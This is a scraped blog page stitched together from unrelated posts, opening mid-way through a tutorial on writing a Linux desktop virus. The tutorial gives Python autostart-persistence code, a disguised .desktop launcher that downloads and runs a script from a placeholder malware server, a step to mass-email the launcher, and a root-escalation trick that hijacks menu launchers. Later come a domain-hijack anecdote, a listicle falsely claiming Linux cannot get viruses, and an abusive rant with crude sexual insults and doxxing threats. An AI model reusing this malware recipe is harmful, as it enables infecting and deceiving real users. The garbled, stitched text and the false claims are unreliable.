But surely, even if the user is not able to find the running process and kill it then just a simple reboot will stop that nonsense right? Surely, root privileges are needed in order to force our malware to be automatically launched in case of a system restart, right?

Not so. Users do not need root privileges in order to configure certain applications for autolaunch when they are logging into their own user sessions. That is because they are only making changes to their own session and user account, not the underlying system settings. Again, any apps started as part of the user session will only run at the user’s privilege level, but as we have seen, this is not a major problem. Lots of interesting things can be done even then.

So, how do we get ourselves to be auto started when the user logs in? There are a number of scripts that get executed when you start a shell, but the user that’s likely to click on a suspicious attachment is not likely to start a shell very often if at all. Fortunately, the modern desktop environments have their own set of commands which they are autostarting on login. In the case of Gnome, take a look at what you find in ~/.config/autostart (this directory may not exist yet, if you have not configured any apps for autostart). That’s right! More launchers! Those are run every time the user logs into Gnome. For KDE it’s even simpler: Just link to your executable from within the ~/.kde/Autostart directory.

Our malware then only needs to create an appropriate entry in those directories and it will start to run whenever the user logs in!

And that’s all there is to it. I leave the writing of the actual malware script as an exercise to the reader.

Compact step-by-step guide

Ok, so here is the summary then, which also fills in a few more specific details:

  1. Write a piece of malware of your choice. Maybe as a Python script? Good language, efficient code, pre-installed in most Linux distros and powerful standard library support (for example, libraries for sending HTTP requests and handling SMTP are part of most standard installs). Place that malware on some web-server.

  2. Your malware needs the ability to install a launcher for itself so that it is started whenever the user logs in. As mentioned, for Gnome that means creating a launcher description in the ~/.config/autostart folder. For KDE just link to your executable from within the ~/.kde/Autostart directory. To do that the malware code can either just force the issue and copy a launcher or link to itself into both locations (creating any directories along the way if they don’t exist) or it can be a bit smarter and choose the right thing to do based on the desktop environment that it detects.

    For example, to create the shortcut for KDE, all you need to write in Python is:

    import os
    uname = os.getlogin()
    drop_dir = “/home/%s/.kde/Autostart” % uname)
    os.makedirs(drop_dir)
    os.symlink(“/home/%s/.local/.hidden/s.py” % uname, drop_dir+“/s.py”)

    For Gnome the Python script instead needs to write a launcher into the proper directory:

    import os
    relauncher_str = “”"
    [Desktop Entry]
    Type=Application
    Name=Malware
    Exec=python .local/.hidden/s.py
    Icon=system-run
    “”"
    uname = os.getlogin()
    drop_dir = “/home/%s/.config/autostart” % uname
    os.makedirs(drop_dir)
    f = open(drop_dir+”/Malware.desktop”, “w”)
    f.write(relauncher_str)
    f.close()

    Writing these autostart entries is probably some of the first action that your malware should perform.

  3. Now create a desktop launcher file for the installer of the malware, which is different than the launcher we use to restart the malware after a reboot. The desktop launcher for the installer is what we send as attachment in the email to the targeted user. It’s what the user clicks on after they saved it. Try something like this:

    [Desktop Entry]
    Type=Application
    Name=some_text.odt
    Exec=bash -c ‘URL=http://www.my_malware_server.com/s.py ;
    DROP=~/.local/.hidden ;
    mkdir -p $DROP;
    if [ -e /usr/bin/wget ] ;
    then wget $URL -O $DROP/s.py ;
    else curl $URL -o $DROP/s.py ; fi;
    python $DROP/s.py’
    Icon=/usr/share/icons/hicolor/48×48/apps/ooo-writer.png

    Note that we have specified a name that is harmless looking and even chose an icon that makes it look like a normal document (that particular icon is present on both Ubuntu (Gnome) and Kubuntu (KDE) systems, but annoyingly not on Fedora). If you claim to send nude shots in the email, just give it a name that makes it sound like an image (something with .jpg at the end) and chose one of the appropriate standard image icons.

    The Exec line is a bit longer now, because we have to account for the possibility that either wget is installed or curl. For example, Ubuntu
    systems usually have wget, while Fedora comes with curl. So, we pass the appropriate commands to bash in order to check which one is present and then call the correct command to download the malware. I’m not a bash expert, so there might be a much more efficient way to do this. But you get the idea. Also, in that line we are creating a good location for the script ($DROP), which is not immediately obvious. The mkdir command with the -p option will silently create whatever parent directories are necessary. The target directory is in the user’s home, hidden away in some innocent looking local directory and can only be seen when also displaying hidden files. The /tmp directory of course is not a good place for our malware, since it is wiped with each reboot.

    Save this launcher file under the name you specified with the Name line, but add ‘.desktop‘ to the end of the actual file name. So, in our case, you would save the file as ‘some_text.odt.desktop‘. When you place this on your desktop you will see that Gnome or KDE will treat it in a special way, not displaying the ‘.desktop‘ extension. So, the file just appears as ‘some_text.odt‘. Of course, that also means that the mail attachment will have this extension as well. Some users may notice, many others will not.

  4. Attach this file to an email, which prompts the recipient to save and open the attachment. As explained, once it has been saved it will just appear as ‘some_text.odt‘ on the user’s desktop. And with the icon we have chosen in the launcher description it will look quite harmless.

  5. Send this email out to as many email addresses as you can get a hold of.

Voila! A Linux virus in 5 simple steps. Every user that saves and opens the attachment you have sent them will get themselves infected with the malware script of your choice, which is then also restarted whenever the user logs in again.

That was easy, wasn’t it?

Solutions for the problem

The easiest solution to prevent this kind of problem is to not just blindly click on attachments that people have sent you. Does that sound like a sentence you have always heard in the context of Windows before? You bet. The point is: Even on Linux this advice should be taken serious.

A step that could be taken by the Gnome and KDE developers: Require launchers to have execute permissions. A saved attachment won’t have those. Therefore, even though a syntactically correct and properly named launcher was dropped on the desktop a user can’t just click on it and start it if the execute bit is not set.

Thirdly, stop perpetuating the myth that malware and viruses are only a problem for Windows. Linux is – in principle – vulnerable as well, of course. Even though users don’t operate with root privileges, if they inadvertently execute a bit of malware then a lot of damage and autostart installation can still be done. The simple fact that an executed attachment won’t run as root is NOT a useful protection against much of anything, as we have seen. The fact that attachments are not saved with the execute bit is NOT a sufficient protection either, since modern desktop environments allow you to neatly maneuver around that.

Right now the limited market share of Linux on the desktop offers some protection. The overall better security architecture offers some more protection. But none of that is fool-proof. And with larger Linux deployments in interesting locations – such as government organizations – those installations also become interesting targets for malware authors.

Thunar?

Interestingly, the Thunar file manager under xfce (Xubuntu 8.10) is doing something that Gnome’s and KDE’s file managers are not doing: It will flag the desktop launcher file as potential malware and thus prevent execution via a simple click. This works whether the attachment was saved from within Thunderbird or from within a web-based email system, such as Yahoo Mail. Does anyone know what Thunar specifically does here to come up with the ‘malware’ conclusion?

However, I confirmed that it works with fresh, stock Ubuntu 8.10, Kubuntu 8.10 and Fedora 10 installs. Since this is mostly based on the functionality of Gnome and KDE, I assume that most distributions that utilize those desktops are vulnerable as well.

Bootnote

Some time ago there was a challenge issued to write a virus that would be able to infect a desktop Linux system. The original challenge contained two important caveats, though: Firstly, it should be able to infect the machine of the person who wrote the challenge. Nothing further is known about that machine. For example, we don’t know which desktop he was running. Secondly, the virus should be able to write a file into the /etc directory, to which normally only root has access.

I would content that a Linux virus can be called successful if it is able to infect standard installs of some of the most popular distros. I know that the approach I am suggesting will be able to infect a standard install of Ubuntu, Kubuntu and Fedora, for example.

Secondly, as outlined above, getting root privileges is not necessary to successfully infect a Linux computer. Well, it’s more the account of the user that is infected, isn’t it? However, if we are talking about desktop computers then for the most part there is only going to be a single user. The distinction between infecting the system (as root) or the user account (as the user) is entirely academic at best. Such an infection is in effect the same as saying ‘the machine is infected’. After all, the user is mostly logged in and the malware will run whenever that is the case. Anyway, I contacted the author of this challenge and explained the situation to him. He insists on the original rules laid out in his challenge, though. Fair enough, it’s his challenge and therefore his rules.

So, what if you really want root then?

Appendix: Getting root

Getting root privileges is always considered to be a bit of the holy-grail of compromising another machine. As we have seen, not having it isn’t really preventing you from having yourself a good time with a virus, though. But just for completeness’ sake, let me outline a way for your malware to get root. There might be other ways, but this is what I could come up with for now.

You see, even normal desktop Linux users will occasionally do stuff as root. In the case of Ubuntu, for example, you will use ’sudo’ (or the graphical equivalent gksu) from time to time in order to perform system administration. Maybe to administer users, change the date and time or to install new software. Many items in the System -> Administration menu will prompt you for your password for that reason. By default, the user of a Ubuntu desktop system tends to be in the ‘admin’ group, which in turn is mentioned in /etc/sudoers. Thus, by providing your own password you can perform tasks with root privileges.

So, now how can we take advantage of this? It turns out that the menu items for your Gnome desktop are individually configured somewhere. Maybe we can hack that so that instead of synaptic (the graphical package manager) or any other utility that runs under sudo or gksu) our nice malware is started instead? After the user has provided their password for sudo? But as it turns out, the menu items are defined in a place to which only root has write access. Take a look at /usr/share/applications. In there you find – again – a large number of launcher files. These are defining the various menu items. For example, take a look at synaptic.desktop. You can see there the following line:

Exec=gksu /usr/sbin/synaptic

Yes, so if we could just go ahead and edit that, right? If our malware could go and change that to:

Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptics

That would execute our malware with root privileges. Note that we quietly passed the original name of the executable (/usr/sbin/synaptics) to our malware, so that it can start synaptics after it is done permanently giving itself root privileges or doing whatever it wants to do as root. That way the user won’t become suspicious.

But, alas, we can’t edit that file. Out of luck again? Fortunately, no. Gnome is kind enough to see if we might have a local definition of one of those desktop files, which should override the system-wide settings. Those go into ~/.local/share/applications. So, you can simply copy the synaptic.desktop file from /usr/share/applications to ~/.local/share/applications and perform the changes you want on it. Then you just have to sit back and wait for the next time the user starts synaptics and you are in business.

Of course, you don’t have to limit yourself to synaptics. To have a better chance of being executed with root privileges any of the apps in the Administration menu that require gksu are fair game. And frankly, you can probably make similar changes and introduce gksu to many of the menu items in System -> Preferences. As a Ubuntu user you are used to give your password to gksu from time to time. If the user doesn’t pay attention, they won’t even notice that they just were prompted for their password for a utility that never asked for the password before.

And for those users that like to use the shell: Well, in that case the malware can simply mess with your path definition and place a ‘tuned’ version of the ’sudo’ command in your path, which gets executed whenever you type ’sudo’.

As you can see this is not guaranteed to give you root (if the user never uses those programs), but there’s a good chance that you will get it eventually if you are patient.

Stupid hacker gave me a domain :D


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Seriously , WTF is wrong with self-called “hackers” nowdays?

I think they are just stupid script-kiddies .

And , i have a way to prove my above statement.

Few hours ago i logged into my gmail account to check mail , and i found 2 e-mails from Name.com support. One was confirming my registration there , and other one was confirming my domain registration for domain riapidshare.com. WTF?!

I never used name.com, so that seemed pretty unusual to me. Panic started to sneak to me! OMFGBBQPWT! Someone hacked my gmail account! Fu*k Fu*k Fu*k! OMFG , they might have also hacked my paypal! Quick jump to paypal, and….

FTW! No new transactions! I rapidly changed password on gmail and paypal , and other 3 sites that i use same pass… WTF forced me to use 9-lower-case-letters-simple-password? After i changed it to much complicated pass with upper and lower case letters , numbers and special characters , i felt a giant relief.

Now i could go and take my free domain :D . I went to name.com , clicked on Lost password link, and few minutes later riapidshare was mine :D

My Precious! :D

P.S. Since i don`t need this domain , i decided to trade it to something more useful to me .

So , if you have something that you think will be useful to me , post it here , and , who knows , maybe you will be new owner of this domain :D

Domain expires in 1 year exactly, on 2010-02-16 13:32:24.

Amaze me with your offers :D


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

ubuntu.png

Linux Ubuntu is one of my ultimate operating system choices, and trust me it is not for the faint of heart. Though I have not left Windows XP completely (I usually have to switch to it to play games and do some work) but I was always better adapted in the Linux environment because it is very cool and challenging.

For those of you who think that Linux is terrible and Windows rocks, here is my say on why Ubuntu is better than Windows.

  1. No Viruses – Thats true! as Linux does not recognize Win32 Executables so the possibility of having a virus on-board is absolutely 0%
  2. Open Source – Unlike Windows, Linux distributions are open source and the source code can be edited and modified to the most to suit your needs.
  3. Better Learning – While Windows just teaches you how to install and run a program, Linux helps you do that using a Terminal. So if you fall in a situation where you don’t have a GUI, you can operate things well.
  4. Free Software – Every application and software on Linux is free and open source. You don’t need to worry about licenses anymore and you can always find a better and free Linux alternative to a Windows application.
  5. Easy to Use – This point may seem ironic but is true to a lot of extent. Linux Ubuntu is one of the most user-friendly and easy to use Linux distribution which even beats Windows XP and Vista in usability and ease of use.
  6. Ubuntu Community Help – Ubuntu has a very active support and help community where you can get answer to your questions and problems in minutes.
  7. Cool Desktop Effects – For those who think Aero in Windows Vista is damn cool! wait till you experience Compiz on Ubuntu which provides better 3D desktop effects with less resource usage.
  8. Easy Upgrade – You can upgrade Linux Ubuntu through the package manager and all applications can be installed/updated through it. There is no need to Google for freewares as the package manager helps you find all of them.
  9. Highly Customizable – If you like customizing your operating system without a billion registry and software hacks then Ubuntu is your ultimate choice.
  10. Experience Live – Linux Ubuntu CDs come with a pre-installed OS environment which allows you to run the OS without even installing it. Carry your Ubuntu Live CD with you and use it on any PC anywhere around the world.

This may not be all but still these are some of the strong points that tell you how powerful Linux Ubuntu is. It definitely has some bugs and issues but as long as you don’t mingle with commands and updates too much, there shouldn’t be a problem using it.

Welcome to the Internet.


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

No one here likes you.

We’re going to offend, insult, abuse, and belittle the living hell out of you. And when you rail against us with “FUCK YOU YOU GEEK WIMP SKATER GOTH LOSER PUNK FAG BITCH!1!!”, we smile to ourselves. We laugh at you because you don’t get it. Then we turn up the heat, hoping to draw more entertainment from your irrational fuming.

We will judge you, and we will find you unworthy. It is a trial by fire, and we won’t even think about turning down the flames until you finally understand.

Some of you are smart enough to realize that, when you go online, it’s like entering a foreign country … and you know better than to ignorantly fuck with the locals. You take the time to listen and think before speaking. You learn, and by learning are gladly welcomed.

For some of you, it takes a while, then one day it all dawns on you – you get it, and are welcomed into the fold.

Some of you give up, and we breathe a sigh of relief – we didn’t want you here anyway. And some of you just never get it. The offensively clueless have a special place in our hearts – as objects of ridicule. We don’t like you, but we do love you.

You will get mad. You will tell us to go to hell, and call us “nerds” and “geeks”. Don’t bother … we already know exactly what we are. And, much like the way hardcore rap has co-opted the word “”, turning an insult around on itself to become a semiserious badge of honor, so have we done.

“How dare you! I used to beat the crap out of punks like you in high school/college!” You may have owned the playing field because you were an athlete. You may have owned the student council because you were more popular. You may have owned the hallways and sidewalks because you were big and intimidating. Well, welcome to our world.

Things like athleticism, popularity, and physical prowess mean nothing here. We place no value on them … or what car you drive, the size of your bank account, what you do for a living or where you went to school.

Allow us to introduce you to the concept of a “meritocracy” – the closest thing to a form of self-government we have. In The United Meritocratic nation-states of the Internet, those who can do, rule. Those who wish to rule, learn. Everyone else watches from the stands.

You may posses everything in the off-line world. We don’t care. You come to the Internet penniless, lacking the only thing of real value here: knowledge.

“Who cares? The Internet isn’t real anyway!” This attitude is universally unacceptable. The Internet is real. Real people live behind those handles and screen names. Real machines allow it to exist. It’s real enough to change government policy, real enough to feed the world’s hungry, and even, for some of us, real enough to earn us a paycheck. Using your own definition, how “real” is your job? Your stock portfolio? Your political party? What is the meaning of “real”, anyway?

Do I sound arrogant? Sure … to you. Because you probably don’t get it yet.

If you insist on staying, then, at the very least, follow this advice:

1. No one, ESPECIALLY YOU, will make any law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the government for a redress of grievances.

2. Use your brain before ever putting fingers to keys.

3. Do you want a picture of you getting anally raped by Bill Gates while you’re performing oral sex on a cow saved to hundreds of thousands of people’s hard drives? No? Then don’t put your fucking picture on the Internet. We can, will, and probably already HAVE altered it in awful ways. Expect it to show up on an equally offensive website.

4. Realize that you are never, EVER going to get that, or any other, offensive web page taken down. Those of us who run those sites LIVE to piss off people like you. Those of us who don’t run those sites sometimes visit them just to read the hatemail from fools like you.

5. Oh, you say you’re going to a lawyer? Be prepared for us to giggle with girlish delight, and for your lawyer to laugh in your face after he explains current copyright and parody law.

6. The Web is not the Internet. Stop referring to it that way.

7. We have already received the e-mail you are about to forward to us. Shut up.

8. Don’t reply to spam. You are not going to be “unsubscribed”.

9. Don’t ever use the term “cyberspace” (only William Gibson gets to say that, and even he hasn’t really used it for two or three books now). Likewise, you prove yourself a marketing-hype victim if you ever use the term “surfing”.

10. With one or two notable exceptions, chat rooms will not get you laid.

11. It’s a hoax, not a virus warning.

12. The internet is made up of thousands of computers, all connected but owned by different people. Learn how to use *your* computer before attempting to connect it to someone else’s.

13. The first person who offers to help you is really just trying to fuck with you for entertainment. So is the second. And the third. And me.

14. Never insult someone who’s been active in any group longer than you have. You may as well paint a damn target on your back.

15. Never get comfortable and arrogant behind your supposed mask of anonymity. Don’t be surprised when your name, address, and home phone number get thrown back in your smug face. Hell, some of us will snail-mail you a printed satellite photograph of your house to drive the point home. Realize that you are powerless if this happens … it’s all public information, and information is our stock and trade.

16. No one thinks you are as cool as you think you are.

17. You aren’t going to win any argument that you start.

18. If you’re on AOL, don’t worry about anything I’ve said here. You’re already a fucking laughing stock, and there’s no hope for you.

19. If you can’t take a joke, immediately sell your computer to someone who can. RIGHT NOW.

20. Learn to type. Contrary to popular belief, “u”, “y” and “r” are letters, not phrases.

Pissed off? It’s the TRUTH.

We don’t like you. We don’t want you here. We never will. Save us all the trouble and go away.